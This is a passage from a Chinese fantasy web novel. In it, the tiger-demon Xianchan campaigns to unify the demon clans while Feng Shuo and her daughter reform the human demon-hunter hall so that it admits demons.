她本来天资就属于人族里顶尖那一批,现在又得到了妖王陛下的亲自教(bao)导(zou),法力修为那是蹭蹭上涨。 本来就比不上她那些人类,如今更是难以望其项背。 这也让天都的权力交接变得平稳了许多。 在风朔的努力下,天师堂开始渐渐改变。 曾经隐隐有更倾向收世家男降妖师的不成文规矩被彻底打碎,降妖师的选拔重新回到了只看天资不论出身性别的公正时期。 降妖师与妖族的对立也正在被来自平安镇的上好灵植打破。 有风朔带领着整个风氏为灵植店保驾护航,三参的店长位置坐得相当稳当。 后来她还跟着风朔去过天都好些次,专门跟那些降妖师世家谈灵植生意。 荣升天师堂总堂主之位的风朔本人就大马金刀的在她身后坐着,那些世家的老家伙想压价都不敢。 因此三参也渐渐在人族那边名气渐响,她自己也从中学会了不少与人类打交道的经验。 可以说现在的三参,已经称得上是妖族与人族之间最稳固的一条纽带了。 人类时常通过她与衔蝉对话,或是定下大单子,或是拉些关系彼此送些人情往来。 但这些人情往来都不需要衔蝉亲自去维护。 白三姑揽下了这个重担。 她心疼衔蝉白天挨揍晚上还要处理山上大大小小的事务,就尽可能多的帮她分担了不少。 小老虎非常感动,偶尔被虎妈揍狠了,就重新变成橘猫钻到姑姑翅膀下躲起来睡一觉。 小狐狸和胖萝卜也时不时的跟大胖橘一起挤在大鸽子翅膀下叽叽咕咕的聊天瞌睡,一如当初。 风妧由于人形限制钻不到大鸽子翅膀下,时常扼腕,便干脆像蘑菇一样蹲在大鸽子身边。 大鸽子就一视同仁的用翅膀拢住她低下来的脑袋。 这时候就是难得的休闲时光。 只不过每次这样温馨的场景背后都有一个冷硬的背影在哼来哼去 白三姑常被妖王陛下的威压压得羽毛都微微炸开,但依旧坚持用翅膀拢住小崽子们。 十次里差不多有八次她会被拎起来丢出去,小崽子会被重新掏出来挨打,但也会有一两次的例外。 每逢例外,几个小崽子就会非常高兴。 高兴之后,大家也会老老实实的爬出来继续该干嘛干嘛。 东坡子洞就在这种鸡飞狗跳与岁月静好齐飞的氛围里逐渐壮大。 大半年的时光一闪而逝。 挨了虎妈大半年的暴揍之后,虎大王觉得自己进步颇大,可以出去用实践检验一下子的挨揍成果了! “本大王决定!从今日起,率军出征!” 小老虎站在高高的石台上举爪一呼。 石台下,二大王风妧,三大王阿琅,东坡子洞主将玄蛛立刻回应:“出征!一统妖族!” 当天便点好了兵将。 妖兵们个个全副武装,穿的铠甲用的刀兵全是山上自产的,都是上好的钢铁上镌刻了符文的灵武,防御力杀伤力都拉满。 白三姑用最快的速度备齐了粮草,全部成批的放进她手里那片八卦镜碎片空间中。 这八卦镜碎片彼此之间互有感应,又有衔蝉手里的镜中镜做桥梁,每片碎片之间都能互通。 等衔蝉出征后,她这边需要什么物资,就可以通过镜中镜给白三姑留下消息。 白三姑看到消息,就往她的八卦镜碎片里装物资,再让衔蝉用镜中镜把物资转移到她那边。 若是衔蝉需要什么山上暂时没有的东西,三参那边又能及时在人间补上。 这次出征三参不会去,她的重心依然是灵植店,因此她将继续留在平安镇上。 等衔蝉需要人间物资时,三参就能立刻代办了。 粮草武器物资都备好后,胡图又送来了两份岭山山脉的详细地图。 一份是情报部门的小妖们在人类那边换到的人族绘制的岭山地图,一份是小妖们自己走遍了各处亲手绘出的地图。 两份地图叠着看,就是最详细的岭山地图。 一切齐备后,一支出征大军就整装待发,只待虎大王一声令下,便要以摧枯拉朽之势攻下各大妖族! 衔蝉变成了又长高了一截的人形,换上了一身装备,在出征前披坚执锐的来跟两位太上皇辞行。 太上皇风朔顶着某道幽幽的目光,拍了拍爱徒的肩。 “去吧,去让所有妖族,都臣服在东坡子洞麾下!” “届时,为师将代表整个人族,与你签下万万年友好睦邻的契约!” 衔蝉用力点头,又看向亲妈。 路涉川冷哼一声:“要是敢打输了回来哭,看老娘怎么揍死你。” 衔蝉:“” 衔蝉气咻咻的:“我不会输!” 犟种小老虎当众跟虎妈放狠话:“你等着!等我一统妖族之后就回来篡你的位!” 太上皇陛下嗤笑了一声:“行啊,但要是做不到你以后就别叫我娘。” 衔蝉一怒之下,带着怒气出征去了。 这次出征,她亲自做主将,玄蛛,阿琅,风妧分别做副将,各领一支大军随时听候调遣。 玄蛛带的自然是她麾下操练出来的妖兵,阿琅带的雪狐族士兵,风妧就更特殊了,她直接带了一支降妖师队伍! 从山上和镇上征集的降妖师队伍都是风妧自己拉起来的,也都是东坡子洞的成员了。 一支浩浩荡荡种族各异的大军就这样朝着岭山深处开拨。 目标是打服所有妖族,再收拢所有地盘,最后统统种满! 第108章 出征路上, 一切顺利。 大军所过之处,大妖小妖们无不臣服。 但衔蝉却感觉有点不得劲。 小妖们就算了,大妖们跪那么快干嘛!瞄一眼东坡子洞里的白虎旗帜马上滑跪, 这让她很难大展身手啊! “不行!”虎大王在主营帐里握拳:“把白虎旗帜收起来!换原来的猫头旗帜!” “为什么啊大王?” “是啊, 白虎旗帜不是很好吗,为什么要换?” 衔蝉:“那些大妖跪的不是本大王, 而是那面白虎旗帜,这跟吃长辈的老本有什么区别?!” 虎想自己创业! 出发前她还放狠话说回来就要篡虎妈的位呢, 结果一出门人家都只认虎妈的招牌。 气死虎了! 这把她衔蝉大王放哪了! 不服气的犟种小老虎叛逆心又上来了。 她这次就要靠自己,完成一统妖族的目标,再光明正大的回去篡位! 虎要让全妖族都喊虎妈“太上皇陛下”! 风妧/阿琅/玄蛛:“” 大王很有志气,但这是不是有点自找麻烦了? 衔蝉:“我不管!给我把旗帜换了!” 在虎大王的强烈要求下,白虎旗帜又换成了最初的猫头旗帜。 并且虎大王下令, 谁也不许见谁就嚷嚷咱东坡子洞的太上皇陛下就是那位妖王陛下! 众副将们:彳亍。 之后果然不出衔蝉所料,没了白虎旗帜,再遇到的大妖们就硬气了很多。 又一个大妖地盘上,负责巡山的小先锋朝东坡子洞的先遣部队喊话:“来者何妖?是来借道的,还是来抢地盘的?!” 衔蝉挺直腰板大声回答:“我乃东坡子洞大大王,衔蝉是也!” “我们不借道, 回去告诉你们大王, 这块地我们东坡子洞看上了,让她速速交出地盘, 不要不识好歹!” 先锋小妖嘀咕了一声“没听过啊”之后,在衔蝉的怒视下,回去如实禀告自家大王了。 不一会,一个人身蛇尾的大妖怒气冲冲的拎着一柄蛇鳞长鞭出来了。 “哪里来的乡野妖也敢在你姑奶奶洞府门前撒野!吃老娘一鞭!” 她也算是个讲究妖,出来就王对王, 又让自家麾下小妖去对战东坡子洞麾下妖兵。 出征后的第一场战役就此打响。 衔蝉早在鞭稍袭来时就一个灵活走位,轻松避开了这一鞭子! 随后她腾身一跃,当场就与蛇妖战做一团! 霎时间,喊杀声震天,是风妧阿琅玄蛛也带着各自的队伍,与蛇妖手下的妖兵们动手了。 期间的飞沙走石灵光乱闪略过不提,短短一炷香时间后,蛇妖这边就落入了下风。 见自己的妖兵悉数被俘,自己身上也多了许多伤痕,蛇妖心生退意。 “你等着!老娘还会回来的!” 撂下一句狠话后,蛇妖麻溜的带着仅剩的残兵跑路了。 东坡子洞众妖众人顿时欢呼一声。 首战告捷,衔蝉长舒一口气,感觉道心都通达了不少。 虎大王当即下令,把猫头旗帜插在蛇妖洞府所占据的各个山头上,再继续前行! 接下来边走边战,东坡子洞众将也越战越勇。 衔蝉也打出了手感,身上莫名其妙就多了一股土匪气。 又来到一个大妖地盘上,还在互相喊话的环节,衔蝉就大声质问对方:“你为什么要踩在我的地上?!” 大妖:“??” 大妖愤怒答曰:“这明明是本大王的地盘!” 衔蝉冷哼一声:“你放屁!我一眼就看出你脚下踩的是我的地!” 虎大王理不直气也壮:“起开!你踩着我的地了!” “你最好速速投降,不然本大王把你也种进地里!” 大妖大怒! 当场就跟衔蝉打起来了! 然后就真的被衔蝉倒栽着种进地里了。 衔蝉:原来把别妖焊在地里的感觉这么爽!理解虎妈了! 现在终于不再是她被虎妈栽进地里,而是她把别妖栽进地里了! 爽哉爽哉! 虎大王越打越高兴,实战的经验也越打越多。 她本来就在虎妈那里学了一身硬本事,如今又补齐了实战这一块,那进步,简直跟坐火箭一样。 而且进步的还不止她一个。 风妧,阿琅,玄蛛,还有带出来的兵士们,每个都收获颇多。 风妧带着降妖师队伍,愣是把路上的大妖小妖们揍出了人族PTSD。 她自己也一路打怪升级,从刚踏上征途的新晋地师,硬生生打到了大地师的水平。 她带着的降妖师们也收获颇佳。 大部分都来自平安镇的降妖师们,在加入东坡子洞之前,很多甚至是凡人。 比如苗大娘的女儿。 但吃了很多灵植长出灵根成为降妖师后,她的进步那叫一个快哦。 这次出征,她们可积极了。 阿琅那边的进步也不差。 雪狐族的大狐狸们本来战斗能力就不弱,现在又有了一个被妖王陛下亲自教导出来的族长带领, 一到战场上,那叫一个摧枯拉朽! 而且在东坡子洞的一众将士中,就雪狐族这支队伍是最耀眼的星。 没办法,雪狐族不论原型还是人形都非常养眼,颜值非常在线。 尤其是原型打起来的时候,雪白蓬松的身影和干脆利落的击杀姿态形成了极致的反差,帅得衔蝉都忍不住竖起了大拇指。 当然,在衔蝉眼里最帅的还是自家小师妹阿琅。 她是出征的雪狐里最小的小狐狸,但战斗力竟丝毫不比那些大狐狸弱! 想想也是,她的师姐是东坡子洞一把手,师尊是人族顶尖天师,姨妈更是妖族之王! 这配置,她想弱都弱不了一点! 光靠前些日子她陪衔蝉挨的那些揍,她就不可能弱! 所以出征后没多久,阿琅整个狐狸不仅长大了一圈,气质也凌厉了许多。 现在她这个雪狐族族长已经很名副其实了。 玄蛛那边更不用说。 她本身就是个超级慕强的战斗狂,得到自家偶像的亲手训(bao)练(da)后更是实力突飞猛进! 想当初,她自己白天被揍成溜溜球,晚上就回去把妖兵们揍成溜溜球! 这一来一回的,妖兵们也硬是被揍得战力翻倍了! 于是乎东坡子洞这支出征队伍人均暴力狂,逮谁揍谁,路过的狗都要被铲两个耳巴子才能走。 她们的凶名也越传越响,越传越远。 打到岭山山脉四分之一进度的时候,已经有妖一看见那猫头旗帜就原地投降了。 不投不行啊,听说这衔蝉大王凶残至极,你不投降她就会把你种进地里! 而且她根本不讲道理的,只要被她看了一眼的地,就会变成她的地! 她的那句“你踩着我的地了”都快成了著名恶魔低语了! 谁听到那句话都得背后一麻,开始跟自己的地盘说再见! 由于过于凶残的名声,岭山里又开始流传起了新的传说。 传说妖族里又出了一个性格极其暴躁,实力极其顶尖的绝世大妖! 她的残暴程度甚至跟当年的岭山之主不相上下! 甚至有妖在私底下蛐蛐,说这衔蝉大王搞不好就是要去挑战岭山之主的,她肯定想做新任妖王。 因为她的行军路线一看就是冲着曾经的妖族王庭去的! 妖族,搞不好又要出一个新王了啊! 有的妖都已经开始琢磨要不要现在就去站个队,混个从龙之功了。 万一新妖王胜了,那她们不就跟着鸡犬升天了? 但是也有资深大妖对衔蝉不屑一顾。 什么可能去挑战岭山之主的新妖王,年轻妖,还是太年轻了啊! 还想跟着鸡犬升天,别到时候鸡犬不剩,只剩升天了! 你们知不知道那位不可直呼其名的岭山之主究竟有多凶残! 什么衔蝉大王,在那位面前都是阿猫阿狗! 她就算还被封印着,也不是什么年轻小妖能挑战的! 懂不懂数百年封印期间无妖敢靠近王庭的含金量啊! 敢靠近的都被心情不好的那位揍死揍残了! 资深大妖们摇摇头,感慨衔蝉太年少轻狂,根本不知道自己想要挑战的是个什么样的恐怖传说。 见识过真正妖王的大妖们都不将衔蝉放在眼里,在她们心里,妖王永远是不可撼动的一座大山。 她就像岭山山脉一样镇压一切,即便数百年过去,大妖们也只认她一个陛下。 毕竟妖族传统就是这样,一切都靠实力说话。 然而这时候就有消息灵通的妖出来传小道消息了,说妖王陛下好像已经冲破封印出来了! 但是没有妖知道她去哪了。 她不知道是受伤了还是养生了,居然一直没听到她在哪里打打打杀杀杀的消息。 大妖们一听就炸毛了。 什么?!她们头顶那片阴影已经出来了?! 那完蛋了!赶紧收拾收拾麻溜的滚过去翻肚皮臣服吧!不然万一臣服慢了又要被揍死! 啥?她出来了,但没有传出在哪里打打杀杀的消息? 真的假的! 不可能吧! 那位当年可是走到哪揍到哪,所过之处恐怖传说至少流传五百年的! 该不会真的在封印期间伤着了吧 有的妖一下子就动了心思,蠢蠢欲动的有了大胆的想法。 要真是这样的话,大家组个联盟,再拉上那位衔蝉大王,说不定真的能杀出个新妖王来哦! 别说他们不忠诚,而是妖族老传统了。 妖王够强,所有妖立刻滑跪不带一点犹豫的。 但一旦妖王势弱,别的妖发现有机可乘,那接下来就会有一场超级大混战。 一般情况下,新妖王都会在混战里杀死老妖王再顺利登位。 曾经岭山之主也是这么从万千大妖中硬杀出来的。 所以当即就有野心勃勃的大妖坐不住了,主动去找上了衔蝉。 大家先合伙把压在头顶的老妖王解决了,再来决出新妖王如何! 收到造反邀请的衔蝉:“” 第109章 衔蝉怒气冲冲的把造反邀请摔在了地上, 并且把那些大妖派来的信使撵走了。 “回去告诉你们老大!本大王是要篡岭山之主的位,但本大王不需要跟任何妖合作!” “滚滚滚!都滚!再让本大王听到这些屁话本大王就揍死你们!” 信使小妖们怂唧唧的走了,回去把话传给自家大王。 一下子就气笑了好几个大妖。 “好好好, 果然是年轻妖, 好大的口气!” “还不需要跟任何妖合作就能篡岭山之主的位,本大王倒要看看她有多大的能耐!” 大妖们破口大骂, 骂完又等着看好戏。 先让这个毛头小妖去给大家探探路也好! 要是她真打到王庭了岭山之主还没反应,那就说明她真的已经不行了! 到时候大家就再也不用顾忌什么, 直接开启下一代的妖王争霸战! 但要是她打到王庭就被制裁了那大家还是洗洗干净继续去做妖王陛下最忠诚的旺财吧。 哎,就是这么见风使舵。 老传统了属于是。 好些大妖就此观望起来。 但观望着观望着大妖就发现不对了。 等等,这衔蝉大王怎么偏离了去王庭的路线,往她们的地盘上打来了?! 不是,你拒绝咱们的造反邀请就算了, 怎么还跑来打咱们呢?! 太不讲道义了吧! 好,既然你不仁义,那也别怪咱欺负后辈了! 战就战,谁怕谁! 被挑衅到家门口的大妖愤怒的领兵迎战衔蝉。 然后就震惊的发现,等等,这张脸咋怎么越看越眼熟! 救命啊!她咋越看越像那位恐怖传说啊?! “你你你, 你跟岭山之主什么关系?!”大妖震惊。 衔蝉却歪嘴冷哼一声:“长江后浪推前浪的关系!” 说罢便不再废话, 当即身先士卒,杀进对方地盘! 见她这丝毫不讲道理的凶残模样, 再看她那张长得让妖牙疼的脸,大妖心里就先怂了半截。 战场上,怂了这一丝丝,就够让对手抓住破绽的了。 于是乎很快衔蝉大王又推平了一片新地盘,新地盘里又整整齐齐的栽了一片被种在地里的妖。 这场仗打完, 被俘虏的大妖瞪着眼睛怒斥衔蝉:“你不懂规矩!” “妖族征战,你居然跟人族勾结!你对得起你这张脸吗!” 衔蝉咚的一声又把大妖栽进地里:“什么规矩不规矩,本大王的话就是规矩!” “人族怎么啦,本大王的师妹就是人族,你要是不服就再来战过啊!” “还有,什么叫对不起我这张脸,我这张脸又怎么你了!” 虎大王骂骂咧咧:“当年岭山之主也有人族徒儿,怎么不见你们敢放屁!哼!” 风妧也跑过来帮忙栽妖:“就是!输了还敢叽叽歪歪,真找揍!” 她叉腰:“我是人族没错,但我师姐就是乐意让我做二大王,你不服吊死啊!” 随后又道:“哼,现在我是东坡子洞的二大王,以后我还要让我师姐进天师堂做大天师,气死你们这些老古董!” 被倒栽在地里的大妖听得一股血直冲脑门。 当然也有可能是头朝下的姿势脑充血了。 但输了的妖没有说话的余地。 衔蝉就这么嚣张的在新地盘上也插上了猫头旗帜,转头继续去打曾经邀请过她去造反的大妖。 虎大王嘴上不说,但心里还是很生气的。 她自己放狠话要篡虎妈的位就算了,别的妖凭啥也敢篡位?!找死! 生气的衔蝉大王照着造反名单,挨家挨户的打上门去。 还真让她都打赢了。 毕竟她的血脉放在那里,封印解除后又跟着亲妈学了那么久的本事,那么多的揍可真没白挨。 加上那些大妖们一看见她的脸就开始牙疼胃疼骨头疼,开场气势就弱了三分。 于是这么打着打着,衔蝉大王的凶名更甚。 新的小道消息也传了出去。 说那衔蝉大王,好似跟岭山之主有点说不清道不明的关系啊! 但她又非常明确的说了要去篡位,搞得大家一时之间也不敢确定她究竟咋想的。 对那些说她可能跟岭山之主有关系的小道谣言也不是很敢信。 大妖们犹豫着犹豫着,衔蝉大王就打到家门口了。 然后又是一场酣畅淋漓的栽妖大比拼,猫头旗帜越插越远。 而东坡子洞里,路涉川听着崽子不断传回来的消息,哼了一声。 “哼,勉强算是没丢了老娘的脸吧。” 风朔:堂堂妖王陛下,岭山之主,怎么性格如此算了,说多了又要挨揍。 但这揍挨得值,现在她已经是人族唯一大天师了。 在东坡子洞和天都来回跑的速度也是越来越快,经验越来越足了。 跟某位太上皇嘴上那股傲娇劲儿不同,风朔每次收到爱徒来信都会认真回信鼓励她继续加油。 同时告诉她,她也在人族这边努力。 天师堂的实权终于被她收拢手中,从前的旧事也不再是她的执念,她的目标早就换成了更大更远的两族和平。 她要为爱徒,为女儿,为人族和妖族,开创一个前所未有的新纪元! 风朔一边奋斗,一边叮嘱风妧也要多实战多锻炼,要多像师姐学习。 也不忘叮嘱小徒儿,修炼别太刻苦,偶尔也要放松放松。 因为她知道阿琅是三个孩子里最肯用功的,她不担心她不努力,只担心她过于努力忽略了自己。 三姐妹每次收到信都很开心。 然后更有远征的动力了。 出征一年后,风妧暂时离开了大部队。 她要去天都接任风氏少主,并顺带留在那里,向母亲学习如何接管风氏,以及天师堂。 天师堂里的降妖师们对风妧接任风氏少主毫无意见。 但对风朔毫不遮掩的拿她当天师堂继承人培养很有意见。 因为天师堂的总堂主之位一直是各大世家轮流做的。 先前是晏氏,现在是风氏,按道理下一任就该是别的世家。 可风朔不仅敢逼迫先前的晏氏堂主退位,还敢让她女儿继任,这就触及到某些世家的利益了。 那些世家不干了,联合起来想要给风朔母子俩找麻烦。 风朔就拿那些跳的欢的家伙当磨刀石,一点一点教风妧如何掌握权力。 人族的权力斗争远比妖族更麻烦,更复杂。 人族的权力来源于力量,但又不完全来源于力量。 在人族这边,再强大的孤狼也会被权术阴死,所以风妧要学的还有很多。 但风妧的性子也随她娘,又叛逆又犟。 别人说她无法胜任这个位置,她偏要胜任给所有人看。 她不仅要坐稳人族这边的“太子”宝座,还要当众宣布她以后登位了要做的改~革。 “今后天师堂的降妖师都要改称号!” “什么降妖师,从一开始,我们就是黄师,玄师,地师,天师,不是什么降妖师!” “天师堂最初的祖训也不过是除暴安良,不是什么斩妖除魔!” 所以以后,天师堂里不仅会有人族天师,还会有妖族天师! 众人顿时哗然。 这转变实在太快,快得让所有人都摸不着头脑。 晏堂主在的时候,天师堂还在时刻备战,随时准备跟妖族再破釜沉舟的战上一场呢。 但现在风堂主一上位,天师堂就要收妖族天师了?? 那还打不打啊? 妖王不是已经出关了吗?咱还要联合起来抵抗她吗? “抵抗个头!”风妧拍桌:“你们不要以自己的小人之心度妖王之腹!” “只要你们别去招惹她,人家根本懒得搭理你们这些小蚂蚁!” 她路姨啥性格她还不清楚吗。 虽然她在外的名声是有亿点点凶,但传说毕竟只是传说。 传说总是难免有添油加醋和夸张之处。 真正的妖王是有点凶残不假,但也不是全然不讲道理。 那些被她揍死的家伙,哪个不是先惹了她生气,她才动手的? 她暴躁归暴躁,但却从未滥杀过无辜。 哪怕当初人族举族暗算她,封印她,她也没把怒火倾泻在整个人族头上。 她只捏死了罪魁祸首和他们的后代。 对剩下的人族,她一直态度很平和。 风妧追着她喊姨,她睁一只眼闭一只眼也算了。 这其中固然有衔蝉的缘故,但要是路涉川真像传说中那么残暴,风妧早就死八百回了。 所以风妧觉得自己有必要给她路姨正名。 人族对她那些莫须有的揣测和污蔑都该停下来了。 不然哪天真惹了她老人家生气,那才是真的要死到临头了。 风妧虽然很讨厌那些世家的老家伙,但也没想让他们都被她路姨一巴掌全扇死。 所以她会拦着他们,不让他们作死的。 但要是有实在拦不住的,那就没办法了,直接喊妈吧。 现任风氏家主,天师堂总堂主,风朔会教他们做人的。 用拳头教。 母子两个在人族配合着大杀四方,名声竟也渐渐凶残起来。 不知从何时开始,天师堂里的恐怖妖王传说,变成了“那对母子”恐怖传说。 传说那母子俩不仅精于权术,还十分暴力! 但凡你敢有一点违背她们定下的规则,那你完蛋了,等死吧! 谁要是敢反对她们,那更是死得比跳崖还快,一刻都不带多活的! 什么妖王不妖王的已经不可怕了,现在比妖王更可怕是那不敢直呼其名的母子俩! 因为妖王自从出了封印以后就没动静了,但这母子俩的凶名却越传越广! 甚至已经有人怀疑她们被妖王夺舍了。 但没人敢当面说这种屁话,只敢私下蛐蛐两句。 蛐蛐完,看到她俩,还得恭恭敬敬的赔笑,喊一声“风堂主”“风少主”。 她们强硬推行的新改~革,也无人敢再有异议—— 作者有话说:收尾卡住了,11号请假一天[爆哭][爆哭] 第110章 在风朔母子的推动下, 天师堂时隔数百年后,终于又迎来了妖族成员。 还是从平安镇开始的。 自从妖族灵植店的消息传到天都之后,平安镇就跟着打响了名声。 越来越多的人和妖来这里买灵植, 做生意, 乃至定居。 平安镇越来越繁华,越来越热闹, 天师堂的分堂口也终于开到了这里。 于是就有早就跟人族们相处得颇好的妖族结伴去平安镇的天师堂领令牌。 根据天师堂的传统,只要能通过三关考验, 再宣誓祖训,便可领取令牌,从此成为天师堂的一员。 那几个已经在平安镇定居的年轻妖顺利闯过了三关,又当众宣誓了天师堂刚改回原版的祖训。 “我等愿入天师堂,从此行走世间, 只为除暴安良,匡扶正道!” 清脆整齐的声音,与人族天师别无二致。 平安镇天师堂分堂的堂主是风朔亲自指派的,她笑呵呵的扶起了几个年轻妖。 “好好好,以后大家就是为同一个目标而努力的同伴了。” 她按照几个年轻妖当下的实力,把相应的天师堂令牌分发给她们。 两个黄师, 一个玄师, 竟还有一个大玄师。 有了她们的加入,平安镇天师堂分堂也再多添了几分实力。 有了这个开头, 之后的事情就更顺理成章了。 新来的妖族黄师玄师果然如同自己宣誓的那样,与人族同伴并肩作战,守护平安镇。 不论是有恶妖还有恶人敢来平安镇撒野,都将受到她们的制裁。 她们不以种族评判人或妖的优劣,只看其行事是否正派。 在她们的身体力行下, 天师堂里越来越多的人族接受认可了她们。 也有更多的妖受到鼓励,加入了天师堂。 像平安镇这样的地方也越来越多。 这种改变并不是一夜之间就发生的,而是水到渠成的。 等大家发现的时候,人族与妖族早就不再是当初针锋相对的模样。 许多人都交了妖族好友,时不时还跟好友私下蛐蛐两句八卦,问那位妖王陛下是不是真的很凶残啊? 妖族们就压低声音直摇头,说人族的传说是有点冤枉陛下了,但也没有太过冤枉。 人族们:“” 妖族们又神秘兮兮的说,也许,她们很快就要有新妖王了。 人族们:“真的假的!细说细说。” 这八卦一聊,就止不住了。 聊着聊着,交情就更深了。 一点一点的变化,每天都在各地悄无声息的发生着。 而岭山深处,同样发生着变化。 一个又一个的大妖被揍服,抹着鼻血加入了东坡子洞,认了大王。 其中还有好些大妖每次看到衔蝉就开始捂腮帮子,嘶嘶嘶的。 衔蝉也不在意,继续带着越发壮大的大军往前开拨。 她身后,留下的猫头旗帜随风飘扬。 又半年后,阿琅立了个大功。 她独自率领雪狐族,将当初叛逃的胡二等狐生擒回来了。 衔蝉大喜,当即命手下把这些叛徒狐狸送回东坡子洞,交给虎妈处置。 然后就没有然后了。 阿琅喜提大功一件,她的位置升无可升,已经都到顶了,衔蝉就做主分了她超多战利品。 自从做了三大王和族长之后就富裕了不少的小狐狸一下子更富裕了。 但她习惯了过简朴的生活,有时候睡觉都还跟师姐挤一个大帐一个窝呢。 玄蛛每次看见她俩还像小时候一样挤在一起睡,就会忍不住直摇头。 挤成一团睡得毛绒绒什么的,一点都不强硬,不铁血! 跟东坡子洞如今的赫赫凶名是不是有点不太搭啊! 但是衔蝉和阿琅都是她顶头上司,玄蛛最终也没说什么。 慕强妖是这样的,只要你够强,她就觉得你做啥都是有道理的。 大军继续前进。 每打下一块新地盘,衔蝉就会收下一群新成员,并直接就地扩军。 被揍服的大妖的麾下当然就要被编入东坡子洞麾下啦。 玄蛛都已经升任成主帅,手下有十几个大将军了呢。 就这样越打军力越多,战斗力越强,跟滚雪球似的。 等滚到岭山中部,即将靠近王庭时,剩下的一半妖都捏紧了拳头,紧张的盯着前方战况。 但啥也没发生。 据说早已破开封印的妖王陛下并没有出来揍死这个敢挑衅她权威的毛头小妖。 只有已经加入东坡子洞的大妖才明白这是咋回事。 虽然当初得知妖王陛下竟就是东坡子洞太上皇陛下时她们也震惊了很久, 但现在,她们已经可以用看破一切的眼神淡定的任由外面的大妖瞎猜了。 猜吧猜吧,反正你们也猜不对。 那些当初还邀请过衔蝉一起造反的大妖至今还没想通事情为什么会变成这样子呢。 她们都已经被衔蝉俘虏了,还不敢相信事情的真相。 她们居然邀请妖王陛下的亲崽子去造她的反! 难怪当时衔蝉非要追到她们地盘上揍她们! 人家母子两个互相斗斗嘴,她们还就当真了!这不就挨揍了嘛! 也难怪妖王陛下没动静了,这是要磨砺崽子啊! 唉,好心酸,当年打不过陛下,现在又打不过陛下的崽子。 真是一辈子都是做属下的命。 这还挣扎个啥啊,认了呗。 曾经跃跃欲试想造反的大妖彻底服了,老老实实的做起了忠诚的旺财,再不敢想些有的没的。 当听到外面那一半的大妖的各种猜测时,她们甚至还会有点隐隐约约的优越感。 哈,消息落后了吧。 只有她们才看透了一切! 这样想想好像心里又舒服多了呢 再次路过王庭,衔蝉也是十分感慨。 她大手一挥,留下了许多本就住在附近千里左右的妖,让她们去重建王庭。 “等本大王回来登基的时候,本大王一定要看到已经修好的王座!” 虎大王如此吩咐道。 被留下的妖老实巴交的领命,原地驻扎下来。 这也算是衔蝉一路上的惯例了。 每打下一个新地盘,她总会留下非战斗成员,就地开荒,基建。 还会让白三姑派很多专业的老师和老师傅过来指导工作,并管理新地盘。 让她们指挥这片土地上的原住民去建设自己的新家园。 这样既能让新地盘上的原住民们不那么恐惧东坡子洞,也能让她们更快的接受自己的新身份。 顺便还大大的方便了新地盘的改造建设,因为本地妖啥都熟嘛。 王庭的重建也就这么交给了本就住在附近的妖。 还派了许多东坡子洞的工匠来做支援。 衔蝉则带着大军和新归顺的麾下,继续远征。 时间一晃就过去了两年。 两年后,衔蝉终于从岭山南面,打到了北面。 距离完全收复岭山山脉,一统妖族,只差三分之一了。 但在这最后的三分之一路上,衔蝉的速度稍微放慢了一点。 也可以说她卡在了某个地点上。 这事说起来,衔蝉自己也是非常无语。 事情是这样的。 把时间倒回半个月前。 衔蝉一路打到了这片藏在岭山腹地里,易守难攻的地盘上。 但让衔蝉感到很奇怪的是,这片地盘上居然没啥小妖。 不是那种零散的没有势力的末流小妖,而是像巡逻妖兵,先锋之类的小妖。 这就很奇怪了。 一路上她打过去的所有大妖,麾下都有不少投靠小妖的。 只有这里奇怪得很,她在上一个大妖地盘与这边的交界处喊话喊了半天,也没看见一个妖影。 难不成是片无主之地? 正当衔蝉搓着爪子,准备捡了这个大漏时,一个大妖终于露面了。 一个独自前来,身边没有任何小妖扈从的大妖。 还是只跟衔蝉原型有五分相似的虎妖。 衔蝉顿时就喊话:“喂!你踩着本大王的地了!速速让开交出地盘,不然本大王把你种进地里!” 那虎妖一听这话就怒目圆睁,但在看到衔蝉那一瞬间,不知为何又忽然熄火了。 他忽然闭上想要回骂的嘴巴,像是不敢相信一样,揉了几遍自己的眼睛。 然后看了一眼衔蝉,嗷的一声扭头就跑。 衔蝉:“???” 衔蝉当场下令麾下:“追!把他抓回来!要抓活的!本大王要亲自审他!” 这虎妖狗狗祟祟的,一看背后就有什么大阴谋! 说不定又是想造虎妈的反,一看就不是什么好妖!抓他!必须抓他! 然而那个虎妖异常能逃,阿琅和玄蛛都双双空手而归。 衔蝉亲自去抓他,竟也叫他跑了! 衔蝉这下更坚信他背后一定有阴谋,说什么也要抓住他! 衔蝉命令大军暂缓开拨,在原地驻扎下来,等她把那个狗狗祟祟的虎妖抓了再说! 没想到这一抓就是半个月。 半个月内衔蝉想了无数办法去抓他,什么豆子傀儡藿麻南瓜,还有灵符法宝,全都用上了。 但那家伙不知道怎么回事,滑溜得像条泥鳅。 也不知道他哪来的那么多逃命技巧,愣是逃了半个月也没叫衔蝉抓着! 衔蝉这下真怒了。 虎大王一怒之下,决定呼叫外援。 因为她觉得这虎妖背后的阴谋一定很大,大到让她无瑕顾及自己先前放出的豪言壮语。 先跟虎妈商量一下,捉了他审问清楚,她再继续自己打江山也成! 这样想着,衔蝉火速给还在东坡子洞养生的虎妈去了一封传讯。 在信里,她简单的描述了一下那个虎妖的长相行为,问虎妈,你以前见过他吗? 又问,他以前属于哪个势力的,是不是早就有造反倾向? 末了问虎妈,有没有什么能抓住他的法宝或者功法啥的,她现在就学! 然而没想到的是,虎妈的回信上只有一句让衔蝉摸不着头脑的话。 “你想长翅膀吗?”《 》 110-113 第111章 衔蝉盯着那句“你想长翅膀吗”翻来覆去看了很多遍, 并试图看透这句话背后的暗语。 她还拿回信对着日光细看,又泼水在信纸上,但传讯符纸上并没有显现出什么暗语。 这就是一句没有任何暗示信息的简短问句。 但想不想长翅膀, 跟她问的事情有半毛钱关系啊! 衔蝉正要回信继续追问, 虎妈的第二封传信就到了。 “那不是虎妖,是一头穷奇。” “抓住他, 抽他一滴心头精血,炼化。” “然后你就可以有翅膀了。” 衔蝉:“!!” 衔蝉大为震惊! 首先, 那玩意儿居然不是虎妖,而是穷奇?! 不是说穷奇形似虎但背生双翼吗? 那他的翅膀呢? 还有,为啥抽他一滴心头精血炼化就可以长翅膀啊?这是穷奇精血的某种妙用吗? 那她能不能多抽几滴,让虎妈师尊师姐师妹三参大家都有翅膀啊? 想想要是大家都能像姑姑一样飞来飞去,那真是爽得没边了! 衔蝉一下子陷入如虎添翼的美好幻想中, 嘴巴都笑歪了。 虽然虎妈没有解释更多,但衔蝉知道虎妈不会骗她。所以抓就对了! 诶等等,不对。 她就是抓不到那个穷奇才给虎妈去信求助的呀! 